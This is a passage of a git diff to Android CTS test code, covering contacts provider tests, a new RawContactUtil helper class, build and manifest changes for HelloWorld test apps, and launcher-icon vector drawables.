+            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
+            assertTrue(cursor.moveToFirst());
+            int groupId = cursor.getInt(GROUPS_ID_INDEX);
+            cursor.close();
+            cursor = People.queryGroups(mContentResolver, personId);
+
+            int membershipGroupIdIndex =
+                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.GROUP_ID);
+            int membershipPersonIdIndex =
+                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.PERSON_ID);
+
+            assertTrue(cursor.moveToFirst());
+            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
+            cursor.close();
+
+            // People: test_people_create, Group: Groups.GROUP_MY_CONTACTS
+            ContentValues values = new ContentValues();
+            values.put(People.NAME, "test_people_create");
+            values.put(People.TIMES_CONTACTED, 0);
+            values.put(People.LAST_TIME_CONTACTED, 0);
+            mRowsAdded.add(People.createPersonInMyContactsGroup(mContentResolver, values));
+            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+                    People.NAME + " = 'test_people_create'", null, null, null);
+
+            assertTrue(cursor.moveToFirst());
+            personId = cursor.getInt(PEOPLE_ID_INDEX);
+            mRowsAdded.add(ContentUris.withAppendedId(People.CONTENT_URI, personId));
+            cursor.close();
+            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
+            assertTrue(cursor.moveToFirst());
+            groupId = cursor.getInt(GROUPS_ID_INDEX);
+            cursor.close();
+            cursor = People.queryGroups(mContentResolver, personId);
+            assertTrue(cursor.moveToFirst());
+            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
+            cursor.close();
+
+            // People: test_people_1, Group: test_group_0
+            cursor = mProvider.query(mPeopleRowsAdded.get(1), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            assertTrue(cursor.moveToFirst());
+            personId = cursor.getInt(PEOPLE_ID_INDEX);
+            cursor.close();
+            cursor = mProvider.query(mGroupRowsAdded.get(0), GROUPS_PROJECTION,
+                    null, null, null, null);
+            assertTrue(cursor.moveToFirst());
+            groupId = cursor.getInt(GROUPS_ID_INDEX);
+            cursor.close();
+            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupId));
+            cursor = People.queryGroups(mContentResolver, personId);
+            boolean found = false;
+            while (cursor.moveToNext()) {
+                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+                if (cursor.getInt(membershipGroupIdIndex) == groupId) {
+                    found = true;
+                    break;
+                }
+            }
+            assertTrue(found);
+
+            cursor.close();
+
+            // People: test_people_2, Group: test_group_1
+            cursor = mProvider.query(mPeopleRowsAdded.get(2), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            assertTrue(cursor.moveToFirst());
+            personId = cursor.getInt(PEOPLE_ID_INDEX);
+            cursor.close();
+            String groupName = "test_group_1";
+            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupName));
+            cursor = People.queryGroups(mContentResolver, personId);
+            List<Integer> groupIds = new ArrayList<Integer>();
+            while (cursor.moveToNext()) {
+                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+                groupIds.add(cursor.getInt(membershipGroupIdIndex));
+            }
+            cursor.close();
+
+            found = false;
+            for (int id : groupIds) {
+                cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+                        Groups._ID + "=" + id, null, null, null);
+                cursor.moveToFirst();
+                if (groupName.equals(cursor.getString(GROUPS_NAME_INDEX))) {
+                    found = true;
+                    break;
+                }
+            }
+            assertTrue(found);
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    public void testMarkAsContacted() {
+        Cursor cursor;
+        try {
+            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            cursor.moveToFirst();
+            int personId = cursor.getInt(PEOPLE_ID_INDEX);
+            assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
+            assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
+            cursor.close();
+
+            People.markAsContacted(mContentResolver, personId);
+            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            cursor.moveToFirst();
+            assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
+            assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    public void testAccessPhotoData() {
+        Context context = getInstrumentation().getTargetContext();
+        try {
+            InputStream inputStream = context.getResources().openRawResource(
+                    android.provider.cts.contacts.R.drawable.testimage);
+            int size = inputStream.available();
+            byte[] data =  new byte[size];
+            inputStream.read(data);
+
+            People.setPhotoData(mContentResolver, mPeopleRowsAdded.get(0), data);
+            InputStream photoStream = People.openContactPhotoInputStream(
+                    mContentResolver, mPeopleRowsAdded.get(0));
+            assertNotNull(photoStream);
+            Bitmap bitmap = BitmapFactory.decodeStream(photoStream, null, null);
+            assertEquals(96, bitmap.getWidth());
+            assertEquals(64, bitmap.getHeight());
+
+            photoStream = People.openContactPhotoInputStream(mContentResolver,
+                    mPeopleRowsAdded.get(1));
+            assertNull(photoStream);
+
+            bitmap = People.loadContactPhoto(context, mPeopleRowsAdded.get(0),
+                    android.provider.cts.contacts.R.drawable.size_48x48, null);
+            assertEquals(96, bitmap.getWidth());
+            assertEquals(64, bitmap.getHeight());
+
+            bitmap = People.loadContactPhoto(context, null,
+                    android.provider.cts.contacts.R.drawable.size_48x48, null);
+            assertNotNull(bitmap);
+        } catch (IOException e) {
+            fail("Unexpected IOException");
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PhonesTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_SettingsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DataUtil.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DataUtil.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DatabaseAsserts.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DatabaseAsserts.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DatabaseAsserts.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DatabaseAsserts.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DeletedContactUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DeletedContactUtil.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DeletedContactUtil.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DeletedContactUtil.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DummyGalProvider.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DummyGalProvider.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/README.txt b/tests/tests/contactsprovider/src/android/provider/cts/contacts/README.txt
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/README.txt
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/README.txt
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/RawContactUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/RawContactUtil.java
new file mode 100644
index 0000000..e21190b
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/RawContactUtil.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.accounts.Account;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.ContactsContract;
+
+import java.util.List;
+
+/**
+ * Convenience methods for operating on the RawContacts table.
+ */
+public class RawContactUtil {
+
+    private static final Uri URI = ContactsContract.RawContacts.CONTENT_URI;
+
+    public static int update(ContentResolver resolver, long rawContactId,
+            ContentValues values) {
+        Uri uri = ContentUris.withAppendedId(URI, rawContactId);
+        return resolver.update(uri, values, null, null);
+    }
+
+    public static long createRawContactWithName(ContentResolver resolver, Account account,
+            String name) {
+        Long rawContactId = insertRawContact(resolver, account);
+        DataUtil.insertName(resolver, rawContactId, name);
+        return rawContactId;
+    }
+
+    public static long createRawContactWithAutoGeneratedName(ContentResolver resolver,
+            Account account) {
+        Long rawContactId = insertRawContact(resolver, account);
+        DataUtil.insertAutoGeneratedName(resolver, rawContactId);
+        return rawContactId;
+    }
+
+    public static long insertRawContact(ContentResolver resolver, Account account) {
+        ContentValues values = new ContentValues();
+        if (account != null) {
+            values.put(ContactsContract.RawContacts.ACCOUNT_NAME, account.name);
+            values.put(ContactsContract.RawContacts.ACCOUNT_TYPE, account.type);
+        }
+        Uri uri = resolver.insert(URI, values);
+        return ContentUris.parseId(uri);
+    }
+
+    public static String[] queryByRawContactId(ContentResolver resolver,
+            long rawContactId, String[] projection) {
+        Uri uri = ContentUris.withAppendedId(URI, rawContactId);
+        Cursor cursor = resolver.query(uri, projection, null, null, null);
+        return CommonDatabaseUtils.singleRecordToArray(cursor);
+    }
+
+    /**
+     * Returns a list of raw contact records.
+     *
+     * @return A list of records.  Where each record is represented as an array of strings.
+     */
+    public static List<String[]> queryByContactId(ContentResolver resolver, long contactId,
+            String[] projection) {
+        Uri uri = ContentUris.withAppendedId(URI, contactId);
+        Cursor cursor = resolver.query(uri, projection, null, null, null);
+        return CommonDatabaseUtils.multiRecordToArray(cursor);
+    }
+
+    public static void delete(ContentResolver resolver, long rawContactId,
+            boolean isSyncAdapter) {
+        Uri uri = ContentUris.withAppendedId(URI, rawContactId)
+                .buildUpon()
+                .appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, isSyncAdapter + "")
+                .build();
+        resolver.delete(uri, null, null);
+    }
+
+    public static long queryContactIdByRawContactId(ContentResolver resolver, long rawContactid) {
+        String[] projection = new String[]{
+                ContactsContract.RawContacts.CONTACT_ID
+        };
+        String[] result = RawContactUtil.queryByRawContactId(resolver, rawContactid,
+                projection);
+        if (result == null) {
+            return CommonDatabaseUtils.NOT_FOUND;
+        }
+        return Long.parseLong(result[0]);
+    }
+
+    public static boolean rawContactExistsById(ContentResolver resolver, long rawContactid) {
+        long contactId = queryContactIdByRawContactId(resolver, rawContactid);
+        return contactId != CommonDatabaseUtils.NOT_FOUND;
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/MockAccountService.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/account/MockAccountService.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/account/MockAccountService.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/account/MockAccountService.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
new file mode 100644
index 0000000..8f2b031
--- /dev/null
+++ b/tests/tests/content/Android.mk
@@ -0,0 +1,16 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
+
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 7e5d2e9..66eb8a4 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -259,6 +259,11 @@
             android:process=":testpagingprovider"
             android:multiprocess="false" />
 
+        <provider android:name="android.content.cts.MockBuggyProvider"
+                  android:authorities="android.content.cts.mockbuggyprovider"
+                  android:process=":mockbuggyprovider"
+                  android:multiprocess="false" />
+
         <service android:name="android.content.cts.MockService" />
 
         <service android:name="android.content.cts.MockSyncAdapterService" android:exported="true">
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 418c201..0aba510 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -22,6 +22,8 @@
     <!-- The framework has some native code involved. -->
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
 
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
@@ -35,6 +37,22 @@
         <option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
     </target_preparer>
 
+    <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
+        <option name="cleanup" value="true" />
+        <option name="push-file" key="HelloWorld5.apk" value="/data/local/tmp/cts/content/HelloWorld5.apk" />
+        <option name="push-file" key="HelloWorld5_hdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_hdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld5_mdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_mdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld5_xhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xhdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld5_xxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xxhdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld5_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xxxhdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld7.apk" value="/data/local/tmp/cts/content/HelloWorld7.apk" />
+        <option name="push-file" key="HelloWorld7_hdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_hdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld7_mdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_mdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld7_xhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xhdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld7_xxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xxhdpi-v4.apk" />
+        <option name="push-file" key="HelloWorld7_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xxxhdpi-v4.apk" />
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsContentTestCases.apk" />
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/OWNERS b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/OWNERS
new file mode 100644
index 0000000..c5fc344
--- /dev/null
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 197138
+include /tests/app/OWNERS
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
new file mode 100644
index 0000000..d2f0a34
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -0,0 +1,60 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_defaults {
+    name: "hello_world_defaults",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    min_sdk_version: "24",
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx-constraintlayout_constraintlayout",
+        "com.google.android.material_material",
+    ],
+    package_splits: [
+        "mdpi-v4",
+        "hdpi-v4",
+        "xhdpi-v4",
+        "xxhdpi-v4",
+        "xxxhdpi-v4",
+    ],
+}
+
+// TODO(b/140795853): once fixed, uncomment the below targets.
+
+//-----------------------------------------------------------
+//android_test {
+//    name: "HelloWorld5",
+//    defaults: ["hello_world_defaults"],
+//    srcs: ["src5/**/*.java"],
+//    // tag this module as a cts test artifact
+//    test_suites: [
+//        "cts",
+//        "vts",
+//        "general-tests",
+//    ],
+//}
+
+//-----------------------------------------------------------
+//android_test {
+//    name: "HelloWorld7",
+//    defaults: ["hello_world_defaults"],
+//    srcs: ["src7/**/*.java"],
+//    // tag this module as a cts test artifact
+//    test_suites: [
+//        "cts",
+//        "vts",
+//        "general-tests",
+//    ],
+//}
diff --git a/tests/tests/content/HelloWorldApp/Android.mk b/tests/tests/content/HelloWorldApp/Android.mk
new file mode 100644
index 0000000..ed7739b
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/Android.mk
@@ -0,0 +1,66 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# TODO(b/140795853): Once fixed, remove make files.
+
+LOCAL_PATH := $(call my-dir)
+
+#################################################
+# HelloWorld5
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src5)
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+LOCAL_PACKAGE_NAME := HelloWorld5
+LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
+LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 xxxhdpi-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_ASSET_DIR := $(LOCAL_PATH)/res
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs androidx.appcompat_appcompat androidx-constraintlayout_constraintlayout com.google.android.material_material
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+#################################################
+# HelloWorld7
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src7)
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+LOCAL_PACKAGE_NAME := HelloWorld7
+LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
+LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 xxxhdpi-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_ASSET_DIR := $(LOCAL_PATH)/res
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs androidx.appcompat_appcompat androidx-constraintlayout_constraintlayout com.google.android.material_material
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
new file mode 100644
index 0000000..f7c6c23
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.example.helloworld">
+
+    <application
+        android:allowBackup="true"
+        android:icon="@mipmap/ic_launcher"
+        android:label="@string/app_name"
+        android:roundIcon="@mipmap/ic_launcher_round"
+        android:supportsRtl="true"
+        android:theme="@style/AppTheme">
+        <activity
+            android:name=".MainActivity"
+            android:label="@string/app_name"
+            android:theme="@style/AppTheme.NoActionBar">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/drawable-v24/ic_launcher_foreground.xml b/tests/tests/content/HelloWorldApp/res/drawable-v24/ic_launcher_foreground.xml
new file mode 100644
index 0000000..1f6bb29
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable-v24/ic_launcher_foreground.xml
@@ -0,0 +1,34 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:aapt="http://schemas.android.com/aapt"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path
+        android:fillType="evenOdd"
+        android:pathData="M32,64C32,64 38.39,52.99 44.13,50.95C51.37,48.37 70.14,49.57 70.14,49.57L108.26,87.69L108,109.01L75.97,107.97L32,64Z"
+        android:strokeWidth="1"
+        android:strokeColor="#00000000">
+        <aapt:attr name="android:fillColor">
+            <gradient
+                android:endX="78.5885"
+                android:endY="90.9159"
+                android:startX="48.7653"
+                android:startY="61.0927"
+                android:type="linear">
+                <item
+                    android:color="#44000000"
+                    android:offset="0.0" />
+                <item
+                    android:color="#00000000"
+                    android:offset="1.0" />
+            </gradient>
+        </aapt:attr>
+    </path>
+    <path
+        android:fillColor="#FFFFFF"
+        android:fillType="nonZero"
+        android:pathData="M66.94,46.02L66.94,46.02C72.44,50.07 76,56.61 76,64L32,64C32,56.61 35.56,50.11 40.98,46.06L36.18,41.19C35.45,40.45 35.45,39.3 36.18,38.56C36.91,37.81 38.05,37.81 38.78,38.56L44.25,44.05C47.18,42.57 50.48,41.71 54,41.71C57.48,41.71 60.78,42.57 63.68,44.05L69.11,38.56C69.84,37.81 70.98,37.81 71.71,38.56C72.44,39.3 72.44,40.45 71.71,41.19L66.94,46.02ZM62.94,56.92C64.08,56.92 65,56.01 65,54.88C65,53.76 64.08,52.85 62.94,52.85C61.8,52.85 60.88,53.76 60.88,54.88C60.88,56.01 61.8,56.92 62.94,56.92ZM45.06,56.92C46.2,56.92 47.13,56.01 47.13,54.88C47.13,53.76 46.2,52.85 45.06,52.85C43.92,52.85 43,53.76 43,54.88C43,56.01 43.92,56.92 45.06,56.92Z"
+        android:strokeWidth="1"
+        android:strokeColor="#00000000" />
+</vector>
diff --git a/tests/tests/content/HelloWorldApp/res/drawable/ic_launcher_background.xml b/tests/tests/content/HelloWorldApp/res/drawable/ic_launcher_background.xml
new file mode 100644
index 0000000..0d025f9
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable/ic_launcher_background.xml
@@ -0,0 +1,170 @@
+<?xml version="1.0" encoding="utf-8"?>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path
+        android:fillColor="#008577"
+        android:pathData="M0,0h108v108h-108z" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M9,0L9,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,0L19,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M29,0L29,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M39,0L39,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M49,0L49,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M59,0L59,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M69,0L69,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M79,0L79,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M89,0L89,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M99,0L99,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,9L108,9"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,19L108,19"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,29L108,29"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,39L108,39"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,49L108,49"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,59L108,59"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,69L108,69"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,79L108,79"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,89L108,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,99L108,99"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,29L89,29"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,39L89,39"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,49L89,49"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,59L89,59"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,69L89,69"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,79L89,79"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M29,19L29,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M39,19L39,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M49,19L49,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M59,19L59,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
